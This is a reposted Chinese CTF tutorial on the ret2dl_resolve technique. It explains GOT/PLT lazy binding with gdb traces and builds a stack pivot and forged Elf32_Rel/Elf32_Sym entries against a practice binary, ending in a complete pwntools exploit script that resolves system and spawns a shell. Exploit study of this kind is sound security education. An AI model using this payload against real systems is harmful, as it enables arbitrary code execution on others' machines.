ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

Linux pwn 之 ret2_dl_resolve

2021-09-16 17:03:20  阅读:244  来源: 互联网

标签:dl plt name read 位置 ret2 地址 pwn got


点击 链接 上合天lab玩转CTF!了解re2_dl_resolve,首先要弄清楚基础的got表和plt表

got表 和 plt表

plt表,过程链接表,过程链接表的作用是将位置无关的符号转移到绝对地址,当一个外部符号被调用的时候,PLT去引用GOT表中的符号对应的绝对地址。

首先我们看一下二进制文件中got表,以及plt表的位置,通过readelf我们可知,plt表的位置在0x8048360处,got表的位置在0x804a000的位置处(*)标记位置。

  1. $ readelf -S dl_resolve
  2. [12] .plt PROGBITS 08048360(*) 000360 000040 04 AX 0 0 16
  3. [24] .got.plt PROGBITS 0804a000(*) 001000 000018 04 WA 0 0 4

首先程序是call read@plt <0x8048370>结合plt表的起始位置0x8048360以及偏移可知,0x8048370在plt表上,所以最开始是跳转到PLT表上

  1. ► 0x80484c5 <my_read+26> call read@plt <0x8048370>
  2. fd: 0x0
  3. buf: 0xffffd56b ◂— 0xf7
  4. nbytes: 0x1

当执行到要call read函数的时候,会跳转到 0x8048370处,反汇编代码如下

  1. ► 0x8048370 <read@plt> jmp dword ptr [_GLOBAL_OFFSET_TABLE_+12] <0x804a00c> ##注意这里,对应内容-> 第一次调用的时候0x804a00c处的位置的值
  2. 0x8048376 <read@plt+6> push 0 ##地址0x8048370 处call read 的下一条指令
  3. 0x804837b <read@plt+11> jmp 0x8048360

我们可以看一下在第一次调用的时候0x804a00c处的位置的值,结合刚刚开始确定的got表的位置0x804a000可知,0x804a00c在got表上,查看一下0x804a00c处的值

  1. gdb-peda$ x/1wx 0x804a00c
  2. 0x804a00c: 0x08048376

我们可以看到在0x804a00c处的值为0x8048376,是地址0x8048370 处call read 的下一条指令的地址,那么程序会继续跳转回plt中继续执行0x8048376位置的指令,进而跳转到0x8048360处继续往下执行。

  1. 0x804837b <read@plt+11> jmp 0x8048360
  2. 0x8048360 push dword ptr [_GLOBAL_OFFSET_TABLE_+4<0x804a004>
  3. 0x8048366 jmp dword ptr [0x804a008] <0xf7fee000>
  4. 0xf7fee000 <_dl_runtime_resolve> push eax
  5. 0xf7fee001 <_dl_runtime_resolve+1> push ecx

重点:注意从0x8048370到0x8048366的执行过程中这里有两次的压栈的操作,0x8048376处的push 0 以及 0x8048360处的push dword..,而ret2dlresolve攻击,通过RETN EIP我们可以让程序直接return 到 0x8048360处执行,这样栈顶的元素也就是应该push入栈的第一个值,当我们伪造堆栈后,push 进入栈的第一个参数,也就是我们可以任意控制的了,这里传入的两个参数是将作为dlruntimeresolve解析函数的两个参数传入的,这样当我们伪造了其中的一个参数的时候,再通过构造假的节数据,使得dlruntime_resolve解析出我们想要的system函数,便可以实现 Return-to-dl-resolve 攻击。

  1. 0x804837b <read@plt+11> jmp 0x8048360
  2. 0x8048360 push dword ptr [_GLOBAL_OFFSET_TABLE_+4<0x804a004>
  3. 0x8048366 jmp dword ptr [0x804a008] <0xf7fee000>
  4. 0xf7fee000 <_dl_runtime_resolve> push eax
  5. 0xf7fee001 <_dl_runtime_resolve+1> push ecx

为什么会执行dlruntimeresolve,因为当程序执行read的时候,会先查看got表,当程序第一次执行的时候,got表中存放的是 plt的jmp 对应的下一条指令的地址,这样将和jmp dword ptr[GLOBALOFFSETTABLE+12]对应起来,当程序第一次执行完read后 ,通过dlruntimeresolve函数,会将解析出的read函数的地址写入got表中的对应的位置,下一次执行call read 函数的时候,便可以直接jmp 到read函数的真实地址,这一技术又被称作延迟绑定。具体的过程其实参考以上的过程可以基本理解。

当执行完第一次的read后,我们可以再次查看 0x804a00c位置处的值,如下,可以看到已经在got表中写入了read函数的真实地址0xf7ed7b00。

  1. gdb-peda$ x/1wx 0x804a00c
  2. 0x804a00c: 0xf7ed7b00

https://rickgray.me/2015/08/07/use-gdb-to-study-got-and-plt/ 博文中,文章最后展示的got表和plt表关系图很好的展示的是一个动态链接库函数printf的调用过程,可以参考理解,其实际的过程为

  1. 从plt表去查 got表
  2. 如果是第一次调用,此时在got表中写的是plt跳转的下一条指令的地址,则程序会执行到plt的下一条指令,然后继续执行,通过JMP PLT[0],会调用 _dl_runtime_resolve函数,将read的真实地址解析出来,然后写入got表中对应的位置。通过_dl_runtime_resove解析以后,程序会进入解析出的函数中执行。
  3. 如果不是第一次调用,那么在got表的相应的位置已经写入了该函数的真实的地址,则可以直接跳转到对应的函数执行。

综上我们可以知道,在plt表上,我们的程序是可以执行的代码,在got表上,我们写入的是函数的真实的地址,所以当我们劫持got表的时候(覆写got表),可以达到我们让程序执行我们指定函数的目的。

题目

经过IDA后,题目如下:

  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3. char v4; // [esp+0h] [ebp-18h]
  4. setvbuf(stdin, 0, 2, 0);
  5. setvbuf(stdout, 0, 2, 0);
  6. setvbuf(_bss_start, 0, 2, 0);
  7. my_read((int)&name, 0x1000);
  8. my_read((int)&v4, 0x18);
  9. return 0;
  10. }

my_read函数如下

  1. ssize_t __cdecl my_read(int a1, int a2)
  2. {
  3. ssize_t result; // eax
  4. char buf; // [esp+Bh] [ebp-Dh]
  5. int i; // [esp+Ch] [ebp-Ch]
  6. for ( i = 0; ; ++i )
  7. {
  8. result = i;
  9. if ( i >= a2 )
  10. break;
  11. result = read(0, &buf, 1u);
  12. if ( result != 1 )
  13. break;
  14. if ( buf == 0xA )
  15. {
  16. result = i + a1;
  17. *(_BYTE *)(i + a1) = 0;
  18. return result;
  19. }
  20. *(_BYTE *)(a1 + i) = buf;
  21. }
  22. return result;
  23. }

题目中的溢出点

通过gdb动态调试,可以知道在主main程序要retn时,会对新的栈顶重新赋值,如下0x8048583处的代码,而重新设置esp的值是可以被我们伪造的,这样我们就可以伪造新的堆栈了。

  1. ##首先我们动态调试main函数retn 位置处的代码,如下注释
  2. ► 0x8048572 <main+107> call my_read <0x80484ab>
  3. arg[0]: 0xffffd590 ◂— 0x1
  4. arg[1]: 0x18
  5. arg[2]: 0x2
  6. arg[3]: 0x0
  7. 0x8048577 <main+112> add esp, 0x10 #提升堆栈 0x10
  8. 0x804857a <main+115> mov eax, 0
  9. 0x804857f <main+120> mov ecx, dword ptr [ebp - 4] #(这里是可覆盖的,由我们自己来定义值)
  10. 0x8048582 <main+123> leave #mov esp ebp ;pop ebp;
  11. 0x8048583 <main+124> lea esp, [ecx - 4] # 这里将构造新的栈,我们选择在bss段上伪造我们新的堆栈,ecx的值来源于 [ebp-4],见0x804857f的代码,
  12. 0x8048586 <main+127> ret

栈中的构造

由于 ecx的值来源于 [ebp-4],那么我们只要能够在[ebp-4]的位置写入值,那么便可以构造我们自己的栈。

要在[ebp-4]的位置写入值,为什么能在 [ebp-4]的位置写入我们的值

我们接着来看一下myread函数,myread函数是用来读取字符的在IDA中如下

  1. my_read((int)&v4, 0x18);

该函数的目的是往第一个字符串的位置写入0x18长度的字符串,进一步查看一下V4的位置,在IDA中的识别为

  1. char v4; // [esp+0h] [ebp-18h]

有的时候,IDA中的识别未必准确,可以通过gdb动态调试查看

  1. ► 0x804856c <main+101> push 0x18
  2. 0x804856e <main+103> lea eax, [ebp - 0x18]
  3. 0x8048571 <main+106> push eax
  4. 0x8048572 <main+107> call my_read <0x80484ab>

可以看到传入my_read的参数确实是[ebp-0x18],同时读入的字符串的长度也是0x18,通过上面对0x804857f以及 0x8048583地址的指令的分析,我们可以知道在[ebp-4]的位置处的值将是新的堆栈的位置,该处的值可被我们利用,使得我们可以伪造新的堆栈。那么新的堆栈的位置将在哪里?

新的堆栈的位置

通过分析程序,我们可以知道程序最开始读入的name,在bss段,所以我们可以利用bss段构造我们的栈。

  1. my_read((int)&name, 0x1000);

通过IDA查看,我们可以知道name 的位置在0x804A060的位置处,假如我们将新的栈的栈顶放在0x804A060的位置的时候,当程序使用该栈的时候,会将0x804A060之上的值覆盖,而在0x804A060之上有程序的其它变量,以及got表如果破坏了这些数据,可能会影响程序的运行。但是,再看 my_read可知,这次程序读入的字符串长度为0x1000,所以我们可以选择在&name+0x400或者&name+0x500的位置设置新的栈顶,这样也避免了破环程序中的有效数据。

新的esp在哪里赋值

新的堆栈的位置可从如下代码知道

  1. 0x8048583 <main+124> lea esp, [ecx - 4]

假设我们的栈将要放在 &name+0x400的位置的时候,那么我们在[ebp-4]的位置写入的值应该为

  1. &name+0x400+0x4

新的堆栈的构造

在栈顶的位置,写入的是新的 retn 的值,该值将是我们retn的地址,从got表以及plt表的前置知识,我们可以了解到我们retn的位置应该是0x8048360的位置处,所以伪造的栈顶的位置处的值为0x8048360,在0x8048360的下面应该是push进入栈的第一个参数,relocindex,在relocindex下面是return 的返回值,然是是我们的传入 dlruntime_resolve函数要解析的函数的参数的位置的值

我们将伪造的栈如下

... ... ...
&name+0x400 0x8048360 return地址
&name+0x404 relocindex push 0的伪造参数
&name+0x408 startaddress 起始地址
&name+0x40C bss_addr + 12 * 4 /bin/sh字符串的地址

这将构成第一段payload的一部分

  1. 32 payload1 = 'a' * 0x400
  2. 33 payload1 += p32(plt_addr)
  3. 34 payload1 += p32(index_arg)
  4. 35 payload1 += p32(0x80483B0) + p32(bss_add + 12*4)

接下来,我们是通过伪造节,使得dlruntime_resolve 来解析system,从而进入system来解析执行,从而实现root权限的获取。

伪造节以及利用

我们首先来看一下 dlruntimeresolve的解析的过程,在dlruntimeresolve中,我们可以传入两个参数linkmap和 relocindex

 

  • 1.程序通过link_map会得到 .dynstr、.dynsym、.rel.plt的地址,这里得到的地址不可以伪造
  • 2.rel.plt + relocindex(该值可以伪造),也就可以求出当前函数的重定位表项Elf32Rel的指针,记作 rel(rel是我们将要伪造的)
  • 3.rel->rinfo >> 8 可以作为 .dynsym的下标,求出当前函数的符号表项Elf32Sym的指针,记作sym(sym是我们将要伪造的)
  • 4..dynstr +( sym -> stname) 能够得到 符号名称字符串指针(stname 是个偏移值)(st_name是我们伪造的system的偏移地址)
  • 5.再在动态链接库中查找这个函数的地址,并把地址赋值给 *rel->offset ,即got表
  • 6.最后调用这个函数

 

实际利用思路

我们已知 relocindex是可控的(relocindex为push 0的那个参数),relocindex可控,结合第2步可知,我们可以控制rel 的落点位置,进而可推导出我们可以控制 rel->rinfo >> 8(结合3),也就是说 .dynsym的下标可控,那么我们进一步也就可以控制sym的位置了,sym是我们可控的,最后那么我们便可以控制 .dynstr + sym -> 得到的st_name。从而实现最终的我们想要的解析效果。

首先控制 relocindex 使得 rel 落到我们可以控制的区域,这样我们就可以使得 sym 落到我们可以控制的区域了,再进一步我们可以控制的就是 查找的字符串了,其中字符串是通过 sym-> stname 得到的偏移加上 .dynstr的地址得到的。

  1. //假设可以伪造的地址为 bss_addr
  2. //reloc_index = bss_addr - .rel.plt
  3. // 这个位置存储的将是 rel,在这里伪造 假的rel

rel的数据结构描述如下

  1. typedef struct
  2. {
  3. Elf32_Addr r_offset; /* Address */
  4. Elf32_Word r_info; /* Relocation type and symbol index */
  5. } Elf32_Rel;
  6. //el.plt 中的offset 对应着r_offset 是函数在.got.plt表中的位置, Info对应着r_info的高24位,Type对应着r_info的低8位
  7. #define ELF32_R_SYM(info) ((info)>>8) #符号在符号表中的索引,占r_offset的高24位
  8. #define ELF32_R_TYPE(info) ((unsigned char)(info))重定位类型 占r_offset的低8位
  9. #define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))

也就是说构造ELF32Rel,其中 Elf32Addr 的原始类型为 uint32t 是4字节的,Elf32Word是32位版本 int32t也是4字节的。在伪造地址构造完 rel后,在rinfo的位置要构造 .dynsym 的下标,该处仍然应该是我们要伪造的地址sym,其中sym的数据结构如下

  1. typedef struct
  2. {
  3. Elf32_Word st_name; /* Symbol name (string tbl index) */
  4. Elf32_Addr st_value; /* Symbol value */
  5. Elf32_Word st_size; /* Symbol size */
  6. unsigned char st_info; /* Symbol type and binding */
  7. unsigned char st_other; /* Symbol visibility */
  8. Elf32_Section st_shndx; /* Section index */
  9. } Elf32_Sym
  10. ///已知sym,以及dynsym 求下标,应该是
  11. 下标: (sym_addr - dynsym)/0x10 #TODO: 这里为什么是 除以0x10 因为在dynsym的位置处,是按照0x10来处理的,每0x10作为一个数组

再次伪造 sym 将sym 中的stname 的偏移设置为system的偏移,当通过.dynstr +( sym -> stname)来解析出的就是system的函数地址。

求解步骤

通过以上的解析过程,我们可以按照如下思路求解

 

  • 1.fakereladdr = nameaddr + 0x500 # fakereladdr 是 我们伪造的 rel,通过.rel.plt + relocindex将解析到fakereladdr
  • 2.relocindex = fakereladdr - reladdr # 求 reloc_index
  • 3.rinfo = (fakesymaddr - .dynsym)/0x10 << 8 (这里左移8位是因为在计算的时候要向右移动8 位造成的),其中 fakesymaddr = fakerel_addr + 4 * 4
  • 4.伪造 stname = (fakereladdr + 8 + 24 ) - dynstraddr
  • 5.通过以上4步可以构造好伪造的 数据!!!

 

假设将 fake_sym 设置在0x804a060 + 0x500 的位置,排列顺序为

1.png

... .. ... ...
0x804a560 rel 0x804a00c 这个指向的将是got表中的地址
0x804a564 rel->r_info 0x1e807 通过这个可以得到sym的地址
0x804a568 sym 0x1e44 通过该值得到偏移字符串system地址0x804a56c 0x1e44
0x804a570 0
0x804a574 0x12
0x804a578 0x12
0x804a57c 0x12
0x804a580 system
0x804a584 system
0x804a588 /bin/sh

最终可以得到解题脚本如下

  1. from pwn import *
  2. rel_plt = 0x8048324
  3. padding = 0x500
  4. stack = 0x100
  5. bss_add = 0x804A060 + padding
  6. index_arg = bss_add - rel_plt
  7. dynsym = 0x80481dc
  8. n = (bss_add+ 4*4 - dynsym)/0x10
  9. fake_system_addr = bss_add
  10. r_info = n << 8
  11. r_info += 7
  12. dynstr = 0x804826c
  13. st_name = (bss_add + 8 + 24 - dynstr)
  14. print("st_name is %x",hex(st_name))
  15. plt_addr = 0x8048360
  16. print("r_info is",hex(r_info))
  17. payload1 = 'a' * 0x400
  18. payload1 += p32(plt_addr)
  19. payload1 += p32(index_arg)
  20. payload1 += p32(0x80483B0) + p32(bss_add + 12*4) # + p32(0x804a00c) 这里的12*4 的指向就是 /bin/sh 当通过 _dl_runtime_resolve来实现的
  21. payload1 += 'a' * (0x100-0x10)
  22. payload1 += p32(0x804a00c)
  23. payload1 += p32(r_info)
  24. payload1 += p32(st_name) * 2
  25. payload1 += p32(0)
  26. payload1 += p32(0x00000012)*3
  27. payload1 += 'system\x00\x00'
  28. payload1 += 'system\x00\x00'
  29. payload1 += '/bin/bash\x00'
  30. context.log_level = 'debug'
  31. context.terminal = ['tmux','splitw','-h']
  32. elf = ELF('./dl_resolve')
  33. bss_addr = 0x804A060+4+ 0x400
  34. p = process('./dl_resolve')
  35. payload = 'a' * 20
  36. payload += p32(bss_addr)
  37. p.sendline(payload1)
  38. p.sendline(payload)
  39. p.interactive()

要注意的点

1.堆栈不能放太高,将堆栈放到了0x804A060的位置,过于高了,会导致dlrun_time解析的时候,堆栈覆盖了got表。

2.当通过dlruntime_resolve解析后,程序会进入到解析的地址执行,并从栈上取参数。解析完后,会将真实的函数地址写入got表中。

3.首先说第一个参数,[0x804a004]是一个linkmap的指针,它包含了.dynamic的指针,通过这个linkmap,dlruntime_resolve函数可以访到.dynamic这个section

标签:dl,plt,name,read,位置,ret2,地址,pwn,got
来源: https://www.cnblogs.com/hetianlab/p/15294240.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有